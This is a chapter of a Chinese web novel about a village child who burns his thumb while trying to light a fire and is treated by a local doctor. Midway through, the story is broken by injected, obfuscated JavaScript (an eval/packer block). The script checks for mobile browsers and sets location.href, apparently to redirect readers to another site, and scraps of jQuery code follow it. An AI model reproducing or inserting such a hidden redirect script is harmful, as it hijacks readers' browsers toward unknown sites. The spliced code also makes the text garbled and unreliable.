16. 手伤

作品:《女穿男之古代科举日常

    范云醒来,直接张嘴喊娘亲,吴红英嘴上答应一声,来给穿衣穿鞋。


    娘俩出屋子,范云才发现家里没其他人。


    他不记得自己做什么梦了,只是觉的昨晚睡的有点热。


    可起床后又觉的很凉快,心想可能睡懵了的错觉。


    或许他不会知道爹娘陪着他睡觉,夫妻两个早早起来忙活,一点痕迹没留下。


    问一圈人,姥姥和爹天刚亮就去下地了。


    除了冬天能歇,大多每天都这么忙活,早起下地,傍晚归家。


    只是之前因为范云的缘故,想多看看娃,才会勤着回来。


    那总共七亩地,哪怕啥也不干,光来回转一圈都得一上午。


    现在正是庄稼地长的时候,鸟儿都精明的光偷吃,蔬菜地里更是招虫子,西瓜地里也会有刺猬、碴之类的小动物。


    这时候也就稍稍次于收获的忙碌,防备的太多。


    范云想起在爷奶家的时候,他们小孩都得抓虫子、赶鸟,忙喊着他也去帮忙。


    把吴红英笑的不行,“小傻瓜,有稻草人呢,你有这心就行。”


    这小胳膊小腿的刚刚大腿高,可吓不着那些鸟儿,吴红英想到这里抱起娃进屋。


    放板凳上,她去灶房端出来吃的。


    看着宝吃饭的模样,眼神盛满疼爱。


    想到这娃昨个堤蒜薹,又想到种地那么辛苦,突觉的一点不想娃种地。


    从小到大都是看过来的,顶着大太阳、刮风下雨都不停歇。


    可放孩子身上,她很是排斥。


    心里无奈的笑自己,七亩属于她的地,自然也是属于她的孩子。


    不种地有其他活法吗,她不知道,也想不出来。


    心里决定等爹娘和当家的回来,问问呢。


    范云吃完早饭,跟身后问姥姥去哪了?


    吴红英见这娃还没忘,对自己的娘都有点吃味。


    她回道:“你姥姥请了两天假,今个去私塾了。”


    私塾?这俩字让范云懵了一瞬,好陌生的两个字。


    他追着问,听明白了。


    姥姥因为有关系,在村里唯一的私塾里面负责做中午饭。


    私塾内小孩们从家里吃完早饭去,中午会在私塾内吃一顿午饭,下午再被家长接走。


    所以有两个做饭的,其中一个是夫子婆娘,另一个就是姥姥。


    都是关系户,但老陈氏是真的有手艺,学生们都更喜欢她做的饭。


    除了午饭,上午烧水,下午烧个绿豆汤。


    做完这些就可回家,中间也无需光在那。


    一天十个铜板,一个月领一回工钱。


    范云心里默算,一个月就可以得三百个铜线。


    怪不得家里生活条件好呢,就说即便七亩地,也不能这么吃。


    吴红英刷完碗扫完地,收拾房间,洗出衣服,再扫院子门口,这一通忙活下来,锤锤自己的腰。


    每天光这家务事,重复还最少得半个时辰,真一点不想干。


    其实家里也没让干,但她总感觉的在云云面前,得有个当娘的样子。


    进屋后,见娃给倒好水举着让喝。


    吴红英梗着脖子,“云云,娘一点都不累,这些小意思。”


    范云看着娘头发都因为汗湿黏在脸边,可一点不信这话。


    但面上直接就附和,“我就知道,娘最厉害了。”


    吴红英笑出声,摸摸孩子的小脸蛋,心里那叫一个舒坦。


    娘俩正说着话呢,门口传来耳熟的声音。


    范云跟着娘出去看到原来是舅舅,手里拿着一顶草帽。


    吴全蹲下身子,嗓音奇怪,“来,带上试试。”


    范云接过,响亮的喊一声,“舅舅。”


    吴全哎哎的答应,摸着脑袋喜的不行。


    兄妹俩对话,范云仔细观察手中的草帽,宽宽的帽檐,上面圆顶,可爱又时尚。


    不知道怎么编制的,轻便又顺滑,一点不喇手,都找不到开头或接口。


    闻闻是清香味,直接喜欢的带头顶上。


    本阳光直射脸和脖子,这一带上阴影都能挡到肩膀,好凉快。


    范云转着圈的高兴,说道:“舅舅,帮我跟舅妈说声,我很喜欢。”


    吴全笑着点头,“行,我肯定带到。”


    娃真机灵,小嘴叭叭的有点像妹夫。


    吴红英进屋包了点糖,出来说拿回家给孩子吃的。


    吴全接过来,转身离开,背影都带着风。


    *


    回屋后,吴红英就见娃还带着不拿下来,大跨步拿着鸡毛掸子哼哈的说啥海贼。


    不懂哪两个字,可是贼她懂啊,吓的她忙教着不能当贼。


    范云赶紧做出保证:“娘,我知道,逮住了会被打断手,做贼是犯罪,我说的不是那个意思。”


    吴红英就放心了,娃的话就是真话,放开手让搁屋子玩。


    范云这下不敢随便喊了,他就是想起了记忆里喜欢看的那部海贼小子,忍不住模仿。


    不过造成这样的误会下,他懂得了有些事得藏着。


    存在他脑子里的,不能让任何人知晓。


    玩的有些渴了,想起还不知道是什么做的疑惑。


    他直接问了娘,吴红英想都不想的开口:“当然是席草啊,遍地都是。”


    路边随处可见,春天一暖和了,草这种东西就不缺。


    席草,第一次听,范云连忙问长啥样。


    吴红英看着娃清澈的眼神,出门墙角就拔了来。


    范云看着很普通啊,竖长的,绿绿的,就是草啊。


    可是怎么能编制成这么可爱的帽子呢,想不通。


    他在这里琢磨,吴红英看的又笑又想叹气,娃这干农活手笨,连个草都知不道,咋办呢。


    不想娃的不好,往好处想,娃他脑子聪明,很多优点,现在还小呢。


    午时(11点)左右,老陈氏快步进了家。


    拿掉头上的旧的缺口的草帽,直奔小萝卜面前抱起来。


    吸口宝的香气,解解一早上的想念。


    每个孩子身上的味道,家里人最熟悉,吴家人就觉的云云身上的味道最特别。


    红英看着娘这样,脸上一抽赶紧让放下,嫌没洗手。


    以前没勤洗手的习惯,自从娃来家里,她觉的手脏不让抱,他们就抱娃前养成洗手的观念了。


    老陈氏对着闺女找理由,说她是这么长时辰没见着,太想了。


    洗完手脸,拍拍身上再进来,这下抱个满怀。


    范云赶紧送上甜言:“姥姥,我可想你了。”


    吴红英看的憋笑,这娃刚才玩草帽玩的那个欢,但她不会说出来。


    老陈氏被哄得乐开花,连说没白疼。


    吴红英看看太阳位置,忙问怎么这时候回来?


    老陈氏抱着娃,头也不抬,“我提前做好了,夫子媳妇光给盛上就行,说好了的。”


    吴红英惊讶一声,“就该这么做了,娘。”


    吃亏又不多钱,这么做就对了。


    老陈氏看着闺女如此,眼里露出丝得意。


    以前她做的多,那时候家里没操心的,做多无所谓,夫子媳妇就转悠拉呱烧柴火的吉祥物,现在可不行。


    早上去就说开了,也都知道家里添了个娃,不能像以前一样啥都做着。


    说了之后,那婆娘还有点脸色不好看,她也没让着,直接把每天干的算算,那立马就换了笑脸。


    夫子婆娘也怕她不干,不说亲戚那,就是换个人怕是更合不来。


    就夫子婆娘那天天不伸手,烧火的灰都嫌的样子,反正没见过那么事多的。


    *


    跟云云说了会话,三人去灶房。


    范云争着想烧火,想的挺美,补回滴蒜薹的失败,烧火这还不简单。


    吴母一掐把毛絮当引子放干柴上,毛絮这个刮的到处都是,好用好得。


    火石与火镰碰撞几下,火星子把毛絮点燃。


    没一下就动,开始的火很脆弱,得干柴冒烟了再翻动点放毛絮上面,放也得有技巧,不能把火压灭了。


    等干柴烧起来,怎么添也有窍门。


    放多了塞灶不行,放少了火不大,那光温锅似的,啥时候能煮开水。


    范云被姥姥手把手教着,满脑门汗。


    开始他就打不着,还是姥姥打着的,接下来就更别提了。


    他就像蹲在那录像似的,手黑脸黑,没帮上一点忙,还给增加了难度。


    吴红英看着那小脸埋汰的,扭头无声的偷笑。


    再转头抱娃出去洗洗,正常的神情,好话说不停。


    末尾,又是等你大了就会了,有这心意足够了的话。


    范云心里叹气,他这努力适应这的生活,学习农家技能,样样开始不顺利。


    明明厂里的活计瞅了就能上手,那流水线快就行,眼睛盯着,出大力熬时间就能干好。


    眼前这些活计不用出力,使点巧,怎么就屡屡失败呢。


    回屋前自个坐着,抬头是蓝天白云,看树叶晃动,沙沙的声音,被治愈了。


    时间用来沮丧蛮浪费的,重新挂起笑脸。


    一次不行就两次三次,就不信了。


    肯定是没找到适合自己的窍门,等某一刻大成了,那肯定一通百通。


    想到那场景,家人围着夸的画面,嘿嘿乐着。


    灶房内娘俩伸头瞅着,就是见娃脸色变换到重新高兴的笑模样。


    云云这娃,心大,心宽,也不闷气,是干大事的料。


    这么棒的娃娃,是她们家的。


    *


    饭做一半,岳婿俩扛着农具回来。


    在还没到家的时候,脸上的累就消失,展出笑脸。


    回家就黑着脸,担心娃瞅着怕。


    看着爷俩这使劲使的奇怪的表情,老陈氏直接让别笑了。


    腮帮子使劲扯着嘴角,都吓人。


    院子里洗着泥巴,开口就是问娃干了啥,细小的事听着也很认真。


    等听到想烧火,却连打火石也没学会的事,忙扭头说那火石难打的事,下次换块好打的。


    比娘和姥姥还夸张的找补,范云没憋住,嘴角抽动。


    吃饭的时候,大人们好像达成了啥共识。


    吃个饭,“哎呀,真棒,吃的真多。”


    把碗放盆里,“我的乖乖,还知道放碗呢。”


    围着饭桌转圈消化食,“云云走路也好看。”


    范云懂了,大人们是想让他觉的会的比不会的更多,逮着什么夸什么。


    这群可爱的家人,想学好的心气更足了。


    等姥爷和爹下地,姥姥也出门后。


    范云哄着娘说自己玩泥巴,其实偷摸的门口拽了几片树叶,找了点毛絮。


    这次没放灶台里边,直接放地上,拿出火石和火镰就打。


    火石缺口是贝壳状,火镰是翘起来的钢片。


    咬着牙大劲击打,只要速度够快就一定行。


    结果,哇啊一声。


    大拇指指甲盖下面被打掉一层皮,手指盖子也劈了,毛絮没点着,衣服被点了个洞。


    拍完胸前,那边吴红英已飞奔而来。


    即便在屋子里也竖起耳朵,一听娃尖叫声,心里慌慌。


    这一出来,不管衣服啥的,抱着娃说你没事就行。


    不就是衣服吗,里面补块布就看不出来。


    可说完发现手上的伤,天塌了,又吹又赶忙拿炉灰撒上,手抖的不行。


    范云憋着情绪,咬牙开口:“娘,我没事,一点不疼。”


    其实好疼啊,疼的想掉眼泪。


    炉灰洒在手指上,直接疼到了心里似的。


    吴红英哭个不停,抱着娃自责。


    范云这才没忍住掉了两滴眼泪,直接用右手抹了。


    拿剪刀把手指盖子修的短短的,再把左手的大拇指缠上布条,绳子系上,交代好几遍不能沾水。


    范云老实的点头,这下是真老实了。


    接着又换了衣服,吴红英放桌子上。


    她就会两块布缝一起,不会精细的锁边、补补丁,等吴母回来补。


    毛絮踩几脚踢飞,火石火镰拿起又放回灶房。


    她迁怒的摔了好几下,嘴上嘀咕,让云云点燃了不就好了,气人。


    屋内,瞅着左手的加粗版大拇指,泄气的叹口气耷拉下脑袋。


    下一刻,重新抬起头,失败是成功之母,下下一次肯定不会现在这个结果。


    等好了再试试,这次不就能打出火星了吗,只是方向没控制好。


    外面,吴红英洗把脸扯动嘴角,如往常一样进屋抱起孩子哄睡觉。


    等睡觉了,把火石火镰不放灶台边了,放墙角用柴火挡住,高处再放一个,藏起来以后不让拿了。


    半个时辰后,老陈氏回来就说,方才在私塾里心跳的很快,问家里出事了吗。


    吴红英说完,老陈氏那个后悔,她早该藏起来的。


    “娘,要不你骂我吧。”吴红英低声开口。


    吴母瞪了闺女一眼,“骂你也不管用啊,我去瞧瞧小萝卜。”


    闺女和小外孙,她都爱,可硬要说,还是更偏闺女。


    她生下养大的孩子,那么点养这么大,怎么舍得。


    基于对闺女的爱,延续到闺女的孩子身上,都是心头宝。


    进屋轻脚走到床边,等看着那包的肿的大拇指,出来哎呦的捂着心口。


    比想象的重,真恨不得伤的是她。


    爷俩回来知道此事,范三郎直接就埋怨没看好,又气又急。


    要往常吴红英直接嘴上骂着,手上也收拾着。


    现在只是回一句,确实是她没看好,转身回了西屋坐床边看着,等着娃醒。


    堂屋内,范三郎张着嘴看着没了影,直接自己打了自己,一脸的后悔,忙追过去。


    轻脚走到身边,双手握住英姐的肩膀,低声道歉。


    刚才满脑子后怕,幸亏只是伤到手,这要烧到身上,想都不敢想。


    他和英姐被戳脊梁骨说上辈子干坏事,这辈子没孩子的话语历历在目,有了云云,他太看重了。


    这辈子就想和英姐把娃养大,老了还一起拌嘴。


    吴红英肩膀一扭,开口让滚,吵着孩子。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525975|170309||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    范三郎笑了,陪着一起坐窗边默默瞧着娃。


    真心疼啊,伤的是他多好,干嘛让孩子受这苦呢。


    *


    范云醒来,睁眼就是爹娘温声细语的模样。


    刚要抬起手揉眼睛,就被抓住了手。


    啊,左手受伤了的认知出现,改用右手揉。


    被抱着出来,家人提着心围一起拆布条子,重新撒了炉灰包上,给娃带上草帽,一家人出门去找郎中。


    大河村内郎中两三个,手艺最管用、脾气最好的就属村东的吴佃丰吴郎中了。


    范云睡着不觉着,这醒了咬牙忍着疼。


    转移注意力,说这个郎中的名好记。


    家人给说着,范云听的仔细,更加深了印象。


    这郎中父亲是大地主,家里佃户数不着,送去念书但不知怎么的对学医有了兴趣。


    其父气的不行,断了钱。


    他出钱是想让儿子继承家业的,离经叛道。


    没想到这位吴郎中仗着识字,直接去了县城里的医馆去给人当学徒。


    当了二、三十年的学徒,回来村里开了药堂做了郎中。


    周边很多村的村民,小伤小病的熬着,由着本村的郎中瞎治,可一旦大病或是严重,就往这跑找这位。


    其父名声差,收村民粮食总是坑骗,可是这位吴郎中却都竖大拇指。


    村民戏称,歹竹出好笋。


    听完了,也到了。


    中药材或是煮药的味道太大,熏得脑壳冲,打了两个喷嚏。


    医馆大门敞开,能看到其内有村民和被挡着的柜台之人。


    不过,最显眼还是墙边那一排好几个木柜拼一起的药材柜。


    抽屉数不过来,左右的药材名字看的人眼晕。


    医馆是到现在为止,见到有台阶有门槛的。


    小河村的祠堂有门槛,但没有台阶。


    进入医馆内,老陈氏插队就往里冲,喊着佃丰,快来给娃看看。


    范云见都转头瞅来,连忙喊姥姥,咱得排队。


    老陈氏看着孙孙,闭了口乖乖排队。


    那边柜台后伸出头的吴郎中,又坐了回去。


    比他辈分高,还得叫声老嫂子,要不是这娃娃,还真没得办法。


    等排到他们了,范云看着这中年男人,只觉得跟脑海中想的对不上。


    头顶发间有点点白发,脸型宽宽,两颊横肉向外扩着。


    这要不是坐柜台上把脉,跟生意人似的。


    吴佃丰站起来,堆着笑称呼老两口,二老客气应了,让先看孩子手指。


    辈分归辈分,吴郎中本身全村人尊敬。


    吴郎中手给拆着,嘴上问个不停。


    首望之下,第一眼就是觉的这孩子真俊,眉眼长的真好。


    有神,眉浓,眼明,毫无惊慌之色。


    他与这孩子聊天,其实也是一种手段,病人思考回话的时候,就会放松并且会把注意力从伤口处移开。


    实在是刚才开口阻止,乖巧懂事的印象让他很有好感。


    但没想到这孩子摇头说不疼,并且转头安慰家人。


    吴郎中全部拆开后,用凉开水冲洗干净,不由惊愕,这一看是明显凿出来的伤口。


    皮连着肉都没了,小坑状,没了炉灰立马流出血水。


    顺着手背,滴到地上。


    孩子还是没露出害怕情绪,大人们却着急的问得开什么药?


    吴郎中把目光从孩子脸上移开,实在是这小娃的淡定,让他也惊讶严重程度。


    真狠啊,这居然能忍住。


    起身走后面拿出个瓷瓶,撒上药粉,血水慢慢止住了。


    范云感受的最清晰,沙沙的疼和凉混合着不断传来,数倍得疼,偏头咬紧牙,只是吸气呼气更重。


    胳膊颤抖,小娃脸都皱了起来,可还是一声未喊。


    吴郎中掀开布帘走进内堂,拿出两个瓷瓶。


    介绍道:“老嫂子,这瓶十文,是我自制的药膏,这瓶二十文,您选哪样?”


    吴红英比娘还快,“吴郎中,这怎么个说法?”


    吴佃丰也没耽搁,话语很直,“这十文的或许会留疤,就是重新长出血肉来,边缘也不会跟原来的一样,另一瓶则不会。”


    这还有啥犹豫的,异口同声都说选二十文的。


    其实一看也能看出差别来,十文的就是褐色粗瓷瓶。


    而二十文的,瓷瓶是有点偏白色,瓶身还贴有带字的红纸,一看就是好的。


    老陈氏从怀中拿出铜钱来,数出二十个铜板捧着放柜台上。


    范云眼睛看着这一幕,震惊于一小瓶药膏就这多钱,忙开口让姥姥选十文的。


    大拇指这没人仔细看的,再说只是或许留疤。


    大人摇头不让他说,瓷瓶到手,脸上终于露出丝笑来。


    听着注意事项,一天要抹几回,认真记在心里。


    范云眼神都落在那瓷瓶身上,骤然联想到了,发烧起不来床那八文钱,小李氏烦躁不给他好脸的曾经。


    要是在范家,他这个炉灰包半个月都不会上心。


    养恩比生恩大,此刻懂了点这句话的含义。


    吴佃丰洗干净手,过来边抹着边让看怎么抹。


    二十文就是二十文,立马清清凉凉的舒服多了。


    这精神一松缓,装作好奇的问瓷瓶上是什么字?


    这还是来到这,首次接触到带字的,大约摸能猜出来,得验证下。


    吴郎中抹完给用细纱布包上,系好线,温和的说上面写‘胡氏庆余堂’五个字。


    范云不自觉低声重复了遍,没想到进了吴郎中的耳朵里。


    吴佃丰笑言:“你这娃,念一遍就记得住不算厉害,我来写其中一个字,你能说出来才算有点本事。”


    这话一出,激出范云的胜负心。


    老陈氏把瓷瓶好好拿着,抱着娃做一边木凳上等着。


    反正现在也没有忙的,回去做饭时辰还早,全都支持自家孩子。


    处理范云的手,开始结束一炷香就完事了,时辰也巧,看完之后几个,药堂内暂且清净。


    吴郎中写出五个字裁剪打乱,拿起一个让猜出来。


    吴郎中根本就没觉的能猜出来,可事实却让他大惊失色。


    不管拿出哪个字,这娃都能大声念对,语气肯定的像学过似的。


    哪怕他故意说错了,可是这孩子也不带犹豫的说没错。


    深深看着这孩子的眼睛,笑着点头说有点本事。


    吴家人此刻才意识到自己可以呼吸,激动的夸个不停,范云却受用的很。


    他对花二十文铜钱的内疚,此刻消失大半。


    被娘抱起来,先后走出药堂。


    老两口最后看看,没漏的东西,转身要走。


    吴郎中掀开木板走出来挺挺腰,随口一说,“老哥老嫂子,你们家这娃脑子好使,有点念书的料。”


    老两口互相看了眼,迷茫之色。


    门口处红英喊声传来,俩人被点醒似的赶忙出去。


    瞧着一家子背影,吴郎中好心情的揉揉肚子,难得碰上个有趣的事,回去得跟媳妇分享分享。